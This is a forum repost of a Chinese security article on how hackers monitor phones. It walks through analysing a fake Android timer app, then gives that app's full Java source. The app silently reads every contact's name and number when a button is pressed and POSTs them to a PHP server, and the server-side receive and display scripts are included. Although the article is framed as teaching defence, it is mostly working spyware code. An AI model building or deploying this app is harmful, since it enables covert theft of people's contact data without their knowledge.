搜索

[12665] 2018-05-04_黑客是如何监视你的手机的？

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-05-04_黑客是如何监视你的手机的？ 黑 客 是 如 何 监 视 你 的 手 机 的 ？ 烟 波 渺 渺 正 愁 予   F r e e B u f   2 0 1 8 - 0 5 - 0 4 0 × 0 0 前 言 前 言 最 近 收 到 比 较 多 的 垃 圾 信 息 ， 想 起 了 恶 意 软 件 这 种 东 西 可 能 泄 露 信 息 ， 于 是 便 写 下 此 文 。 最 近 收 到 比 较 多 的 垃 圾 信 息 ， 想 起 了 恶 意 软 件 这 种 东 西 可 能 泄 露 信 息 ， 于 是 便 写 下 此 文 。 0 × 0 1 实 验 环 境 实 验 环 境 基 础 环 境 ： w i n 1 0 ， A n d r o i d   s t u d i o   3 ， j d - g u i ， a p k t o o l ， d e x 2 j a r 应 用   ： M y T i m e r ( A P P ) ，   p h p 网 页 ( 接 收 信 息 ) 虚 拟 机 ： 0 × 0 2 实 验 准 备 实 验 准 备 在 u b u n t u ( 1 9 2 . 1 6 8 . 1 5 9 . 1 2 8 ) 服 务 器 上 搭 建 好 p h p 环 境 ， 然 后 准 备 三 个 文 件 ： n e w f i l e . t x t （ 用 来 存 储 接 收 到 的 信 息 ） ， r e a d i n f o . p h p ( 用 来 展 示 接 收 到 的 信 息 ) ， r e c e i v e . p h p ( 用 来 接 收 信 息 ) 。 这 里 使 用 的 是 虚 拟 机 ， 实 际 中 需 要 外 网 能 访 问 的 服 务 器 ， 这 样 手 机 应 用 才 能 正 常 连 接 到 服 务 器 。 r e a d i n f o . p h p r e c e i v e . p h p 0 × 0 3 实 验 步 骤 实 验 步 骤 在 模 拟 器 中 安 装 并 启 动 M y T i m e r ( 此 时 服 务 器 上 的 n e w f i l e . t x t 文 件 为 空 ) ， 从 功 能 上 看 这 只 是 一 个 计 时 器 。 如 下 图 所 示 < ? p h p $ f i l e _ p a t h   = " / v a r / w w w / r e a d c o n t a c t s / n e w f i l e . t x t " ; i f ( f i l e _ e x i s t s ( $ f i l e _ p a t h ) ) { $ s t r   =   f i l e _ g e t _ c o n t e n t s ( $ f i l e _ p a t h ) ; $ s t r   = s t r _ r e p l a c e ( " r n " , " < b r   / > " , $ s t r ) ; $ s t r = e x p l o d e ( ' , ' , $ s t r ) ; e c h o " < p r e > " ; p r i n t _ r ( $ s t r ) ; e c h o   " < p r e > " ; } ? > < ? p h p $ i n f o =   $ _ P O S T [ " i n f o " ] ; $ m y f i l e   = f o p e n ( " / v a r / w w w / r e a d c o n t a c t s / n e w f i l e . t x t " ,   " w " )   o r d i e ( " U n a b l e   t o   o p e n   f i l e ! " ) ; f w r i t e ( $ m y f i l e ,   $ i n f o ) ; f c l o s e ( $ m y f i l e ) ; ? >
我 们 在 最 上 面 的 输 入 框 中 输 入 时 间 ， 点 击 “ 设 置 时 间 ” 按 钮 ， 会 在 下 面 显 示 到 计 时 的 时 间 。 如 下 图 所 示 当 我 们 点 击 “ 开 始 计 时 ” 按 钮 时 ， 应 用 开 始 倒 计 时 ， 如 下 图 所 示 ： 在 使 用 此 应 用 时 ， 我 们 并 未 发 现 什 么 异 常 情 况 ， 现 在 我 们 把 视 角 切 换 到 u b u n t u 服 务 器 上 ， 这 个 时 候 就 会 发 现 n e w f i l e . t x t 中 多 出 了 一 些 内 容 ， 然 后 我 们 访 问 r e a d i n f o . p h p ， 就 可 以 看 到 手 机 上 的 联 系 人 信 息
0 × 0 3 原 理 剖 析 与 软 件 实 现 原 理 剖 析 与 软 件 实 现 一 、 原 理 剖 析 一 、 原 理 剖 析 通 常 我 们 要 分 析 一 个 应 用 是 否 有 恶 意 功 能 ， 可 以 进 行 以 下 几 步 操 作 ： 0 、 使 用 a p k t o o l 得 到 A d r o i d M a n i f e s t . x m l ， 使 用 d e x 2 j a r 得 到 应 用 源 码 1 、 审 查 应 用 程 序 使 用 的 权 限
通 过 查 看 我 们 发 现 这 个 应 用 申 请 了 网 络 访 问 权 限 ， 联 系 人 读 写 权 限 ， 访 问 帐 户 列 表 权 限 ， 但 是 我 们 从 应 用 的 功 能 来 看 明 显 是 不 需 要 这 几 个 功 能 的 ， 列 入 嫌 疑 名 单 ， 开 始 下 一 步 审 查 。 2 、 审 查 应 用 程 序 使 用 的 进 程 间 通 信 机 制 这 里 我 们 只 发 现 了 一 个 调 用 主 A c t i v i t y 的 机 制 ， 本 步 检 查 安 全 。 3 、 分 析 源 码 中 开 放 的 端 口 、 共 享 / 传 输 的 数 据 ， 以 及 网 络 连 接 通 过 分 析 源 码 ， 我 们 发 现 代 码 里 有 一 段 发 起 了 网 络 请 求 ， 应 用 程 序 在 向 一 个 I P 为 1 9 2 . 1 6 8 . 1 5 9 . 1 2 8 地 址 发 送 信 息
继 续 阅 读 源 码 ， 我 们 发 现 代 码 里 有 读 取 联 系 人 的 操 作 ， 同 时 将 读 取 结 果 拼 接 到 U R L 参 数 中 向 远 程 服 务 器 发 送 。 综 合 分 析 可 以 发 现 ， 本 应 用 程 序 在 运 行 时 ， 当 用 户 点 击 设 置 时 间 按 钮 时 会 读 取 用 户 通 讯 录 联 系 人 并 通 过 网 络 方 式 发 送 给 远 程 服 务 器 ， 可 以 定 义 为 木 马 程 序 。 二 、 软 件 实 现 二 、 软 件 实 现   上 面 是 当 遇 到 一 个 A P P 时 的 审 查 操 作 ， 为 了 更 加 深 入 的 了 解 恶 意 软 件 的 工 作 原 理 ， 此 处 我 们 编 写 一 个 简 单 恶 意 A P P ( 也 就 是 上 面 我 们 分 析 的 A P P ) ， 仅 读 取 联 系 人 信 息 。 在 实 际 中 黑 客 可 以 会 读 取 短 信 ， 读 取 位 置 信 息 跟 踪 定 位 一 个 人 等 。 M a i n A c t i v i t y 主 要 内 容 主 要 内 容 在 在 A n d r o i d M a n i f e s t . x m l 添 加 如 下 配 置 添 加 如 下 配 置 A v t i v i t y _ m a i n . x m l 布 局 文 件 布 局 文 件 0 × 0 5   写 在 最 后 写 在 最 后 上 面 的 程 序 只 是 演 示 了 读 取 并 发 送 联 系 人 ， 黑 客 往 往 还 会 读 取 位 置 信 息 ， 读 取 短 信 ， 读 取 浏 览 器 历 史 信 息 等 。 所 以 大 家 平 时 在 安 装 A P P 时 需 要 谨 慎 ， 在 授 予 权 限 时 也 应 该 遵 循 最 小 权 限 原 则 ， 能 不 给 的 权 限 就 不 给 。 希 望 此 文 能 帮 助 大 家 更 好 的 理 解 恶 意 软 件 工 作 原 理 ， 帮 助 大 家 更 好 的 防 范 恶 意 软 件 ， 相 信 大 家 也 都 是 遵 纪 守 法 的 好 公 民 ， 学 习 只 是 为 了 防 身 ， 嗯 。 *   本 文 作 者 ： 烟 波 渺 渺 正 愁 予 ， 本 文 属 本 文 作 者 ： 烟 波 渺 渺 正 愁 予 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 p u b l i c   c l a s s   M a i n A c t i v i t y   e x t e n d s A p p C o m p a t A c t i v i t y   i m p l e m e n t s   O n C l i c k L i s t e n e r   { p r i v a t e   E d i t T e x t   i n p u t t i m e ; p r i v a t e   B u t t o n   g e t T i m e ; p r i v a t e   B u t t o n   s t a r t T i m e ; p r i v a t e   B u t t o n   s t o p T i m e ; p r i v a t e   T e x t V i e w   t i m e ; p r i v a t e   i n t   r e m a i n d e r t i m e   =   0 ; p r i v a t e   T i m e r   t i m e r   =   n u l l ; p r i v a t e   T i m e r T a s k   t i m e r T a s k   =   n u l l ; p r i v a t e   S t r i n g [ ]   c o n t a c t s   =   n u l l ; @ O v e r r i d e p r o t e c t e d   v o i d   o n C r e a t e ( B u n d l e   s a v e d I n s t a n c e S t a t e )   { s u p e r . o n C r e a t e ( s a v e d I n s t a n c e S t a t e ) ; s e t C o n t e n t V i e w ( R . l a y o u t . a c t i v i t y _ m a i n ) ; i n i t v i e w s ( ) ; s e t O n c l i c k ( ) ; } p r i v a t e   v o i d   s e t O n c l i c k ( )   { g e t T i m e . s e t O n C l i c k L i s t e n e r ( t h i s ) ; s t a r t T i m e . s e t O n C l i c k L i s t e n e r ( t h i s ) ; s t o p T i m e . s e t O n C l i c k L i s t e n e r ( t h i s ) ; } p r i v a t e   v o i d   i n i t v i e w s ( )   { i n p u t t i m e   =   ( E d i t T e x t )   f i n d V i e w B y I d ( R . i d . i n p u t t i m e ) ; g e t T i m e   =   ( B u t t o n )   f i n d V i e w B y I d ( R . i d . g e t t i m e ) ; s t a r t T i m e   =   ( B u t t o n )   f i n d V i e w B y I d ( R . i d . s t a r t t i m e ) ; s t o p T i m e   =   ( B u t t o n ) f i n d V i e w B y I d ( R . i d . s t o p t i m e ) ; t i m e   =   ( T e x t V i e w )   f i n d V i e w B y I d ( R . i d . t i m e ) ; } @ O v e r r i d e p u b l i c   v o i d   o n C l i c k ( V i e w   v )   { s w i t c h   ( v . g e t I d ( ) )   { c a s e   R . i d . g e t t i m e : t i m e . s e t T e x t ( i n p u t t i m e . g e t T e x t ( ) . t o S t r i n g ( ) ) ; r e m a i n d e r t i m e   = I n t e g e r . p a r s e I n t ( i n p u t t i m e . g e t T e x t ( ) . t o S t r i n g ( ) ) ; p r i n t i n f o ( ) ; b r e a k ; c a s e   R . i d . s t a r t t i m e : s t a r t T i m e ( ) ; b r e a k ; c a s e   R . i d . s t o p t i m e : s t o p T i m e ( ) ; b r e a k ; } } p r i v a t e   H a n d l e r   m H a n d l e r   =   n e w   H a n d l e r ( )   { p u b l i c   v o i d   h a n d l e M e s s a g e ( a n d r o i d . o s . M e s s a g e   m s g )   { t i m e . s e t T e x t ( m s g . a r g 1   +   " " ) ; s t a r t T i m e ( ) ; } } ; p r i v a t e   v o i d   s t a r t T i m e ( )   { i f   ( t i m e r   = =   n u l l )   { t i m e r   =   n e w   T i m e r ( ) ; } t i m e r T a s k   =   n e w   T i m e r T a s k ( )   { @ O v e r r i d e p u b l i c   v o i d   r u n ( )   { i f   ( r e m a i n d e r t i m e   >   0 )   { r e m a i n d e r t i m e - - ; M e s s a g e   m e s s a g e   = M e s s a g e . o b t a i n ( ) ; m e s s a g e . a r g 1   = r e m a i n d e r t i m e ; m H a n d l e r . s e n d M e s s a g e ( m e s s a g e ) ; }   e l s e   { s t o p T i m e ( ) ; } } } ; t i m e r . s c h e d u l e ( t i m e r T a s k ,   1 0 0 0 ) ; } p r i v a t e   v o i d   s t o p T i m e ( )   { i f   ( t i m e r   ! =   n u l l ) t i m e r . c a n c e l ( ) ; } p r i v a t e v o i d   p r i n t i n f o ( )   { c o n t a c t s   =   g e t C o n t a c t s ( ) ; i f   ( c o n t a c t s   ! =   n u l l   | |   ( c o n t a c t s   = =   n u l l   & &   c o n t a c t s . l e n g t h   ! = 0 ) )   { n e w   T h r e a d ( n e w   R u n n a b l e ( )   { @ O v e r r i d e p u b l i c   v o i d   r u n ( )   { s e n d C o n t a c t s ( ) ; } } ) . s t a r t ( ) ; } } p u b l i c   v o i d   s e n d C o n t a c t s ( )   { S t r i n g   t a r g e t   = " h t t p : / / 1 9 2 . 1 6 8 . 1 5 9 . 1 2 8 / r e a d c o n t a c t s / r e c e i v e . p h p " ; U R L   u r l ; t r y   { u r l   =   n e w   U R L ( t a r g e t ) ; H t t p U R L C o n n e c t i o n   u r l C o n n   =   ( H t t p U R L C o n n e c t i o n )   u r l . o p e n C o n n e c t i o n ( ) ; u r l C o n n . s e t R e q u e s t M e t h o d ( " P O S T " ) ; u r l C o n n . s e t D o I n p u t ( t r u e ) ; u r l C o n n . s e t D o O u t p u t ( t r u e ) ; u r l C o n n . s e t U s e C a c h e s ( f a l s e ) ; u r l C o n n . s e t I n s t a n c e F o l l o w R e d i r e c t s ( t r u e ) ; u r l C o n n . s e t R e q u e s t P r o p e r t y ( " C o n t e n t - T y p e " , " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ; S t r i n g   i n f o   =   " " ; f o r   ( S t r i n g   i t e m   :   c o n t a c t s )   { i n f o   + =   i t e m   +   " , " ; } D a t a O u t p u t S t r e a m   o u t   =   n e w   D a t a O u t p u t S t r e a m ( u r l C o n n . g e t O u t p u t S t r e a m ( ) ) ; S t r i n g   p a r a m   =   " i n f o = "   +   U R L E n c o d e r . e n c o d e ( i n f o , " u t f - 8 " ) ; o u t . w r i t e B y t e s ( p a r a m ) ; o u t . f l u s h ( ) ; o u t . c l o s e ( ) ; i f   ( u r l C o n n . g e t R e s p o n s e C o d e ( )   = =   H t t p U R L C o n n e c t i o n . H T T P _ O K )   { u r l C o n n . d i s c o n n e c t ( ) ; } }   c a t c h   ( M a l f o r m e d U R L E x c e p t i o n   e )   { e . p r i n t S t a c k T r a c e ( ) ; }   c a t c h   ( I O E x c e p t i o n   e )   { e . p r i n t S t a c k T r a c e ( ) ; } } p r i v a t e   S t r i n g [ ]   g e t C o n t a c t s ( )   { U r i   u r i   =   C o n t a c t s C o n t r a c t . C o n t a c t s . C O N T E N T _ U R I ; S t r i n g [ ]   p r o j e c t i o n   =   n e w   S t r i n g [ ] { C o n t a c t s C o n t r a c t . C o n t a c t s . _ I D , C o n t a c t s C o n t r a c t . C o n t a c t s . D I S P L A Y _ N A M E } ; C u r s o r   c u r s o r   =   t h i s . g e t C o n t e n t R e s o l v e r ( ) . q u e r y ( u r i ,   p r o j e c t i o n ,   n u l l , n u l l ,   n u l l ) ; S t r i n g [ ]   a r r   =   n e w   S t r i n g [ c u r s o r . g e t C o u n t ( ) ] ; i n t   i   =   0 ; i f   ( c u r s o r   ! =   n u l l   & &   c u r s o r . m o v e T o F i r s t ( ) )   { d o   { L o n g   i d   =   c u r s o r . g e t L o n g ( 0 ) ; S t r i n g   n a m e   = c u r s o r . g e t S t r i n g ( 1 ) ; S t r i n g [ ]   p h o n e P r o j e c t i o n   =   n e w S t r i n g [ ] { C o n t a c t s C o n t r a c t . C o m m o n D a t a K i n d s . P h o n e . N U M B E R } ; a r r [ i ]   =   i d   +   "   | n a m e : "   +   n a m e ; C u r s o r   p h o n e s C u s o r   = t h i s . g e t C o n t e n t R e s o l v e r ( ) . q u e r y ( C o n t a c t s C o n t r a c t . C o m m o n D a t a K i n d s . P h o n e . C O N T E N T _ U R I , p h o n e P r o j e c t i o n , C o n t a c t s C o n t r a c t . C o m m o n D a t a K i n d s . P h o n e . C O N T A C T _ I D   +   " = "   +   i d , n u l l , n u l l ) ; i f   ( p h o n e s C u s o r   ! =   n u l l & &   p h o n e s C u s o r . m o v e T o F i r s t ( ) )   { d o   { S t r i n g   n u m   = p h o n e s C u s o r . g e t S t r i n g ( 0 ) ; a r r [ i ]   + =   "   | p h o n e n u m : "   +   n u m ; }   w h i l e ( p h o n e s C u s o r . m o v e T o N e x t ( ) ) ; }   i + + ; }   w h i l e   ( c u r s o r . m o v e T o N e x t ( ) ) ; } r e t u r n   a r r ; } } < u s e s - p e r m i s s i o n a n d r o i d : n a m e = " a n d r o i d . p e r m i s s i o n . I N T E R N E T " / > < u s e s - p e r m i s s i o n a n d r o i d : n a m e = " a n d r o i d . p e r m i s s i o n . W R I T E _ C O N T A C T S " / > < u s e s - p e r m i s s i o n a n d r o i d : n a m e = " a n d r o i d . p e r m i s s i o n . R E A D _ C O N T A C T S " / > < u s e s - p e r m i s s i o n a n d r o i d : n a m e = " a n d r o i d . p e r m i s s i o n . G E T _ A C C O U N T S " / > < L i n e a r L a y o u t x m l n s : a n d r o i d = " h t t p : / / s c h e m a s . a n d r o i d . c o m / a p k / r e s / a n d r o i d " x m l n s : t o o l s = " h t t p : / / s c h e m a s . a n d r o i d . c o m / t o o l s " a n d r o i d : l a y o u t _ w i d t h = " m a t c h _ p a r e n t " a n d r o i d : o r i e n t a t i o n = " v e r t i c a l " a n d r o i d : l a y o u t _ h e i g h t = " m a t c h _ p a r e n t "   > < E d i t T e x t a n d r o i d : i d = " @ + i d / i n p u t t i m e " a n d r o i d : l a y o u t _ w i d t h = " f i l l _ p a r e n t " a n d r o i d : l a y o u t _ h e i g h t = " w r a p _ c o n t e n t " a n d r o i d : e m s = " 1 0 "   > < r e q u e s t F o c u s   / > < / E d i t T e x t > < B u t t o n a n d r o i d : i d = " @ + i d / g e t t i m e " a n d r o i d : l a y o u t _ w i d t h = " w r a p _ c o n t e n t " a n d r o i d : l a y o u t _ h e i g h t = " w r a p _ c o n t e n t " a n d r o i d : t e x t = " 设 置 时 间 "   / > < T e x t V i e w a n d r o i d : i d = " @ + i d / t i m e " a n d r o i d : l a y o u t _ w i d t h = " w r a p _ c o n t e n t " a n d r o i d : l a y o u t _ h e i g h t = " w r a p _ c o n t e n t " / > < B u t t o n a n d r o i d : i d = " @ + i d / s t a r t t i m e " a n d r o i d : l a y o u t _ w i d t h = " w r a p _ c o n t e n t " a n d r o i d : l a y o u t _ h e i g h t = " w r a p _ c o n t e n t " a n d r o i d : t e x t = " 开 始 计 时 "   / > < B u t t o n a n d r o i d : i d = " @ + i d / s t o p t i m e " a n d r o i d : l a y o u t _ w i d t h = " w r a p _ c o n t e n t " a n d r o i d : l a y o u t _ h e i g h t = " w r a p _ c o n t e n t " a n d r o i d : t e x t = " 停 止 计 时 "   / > < / L i n e a r L a y o u t >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理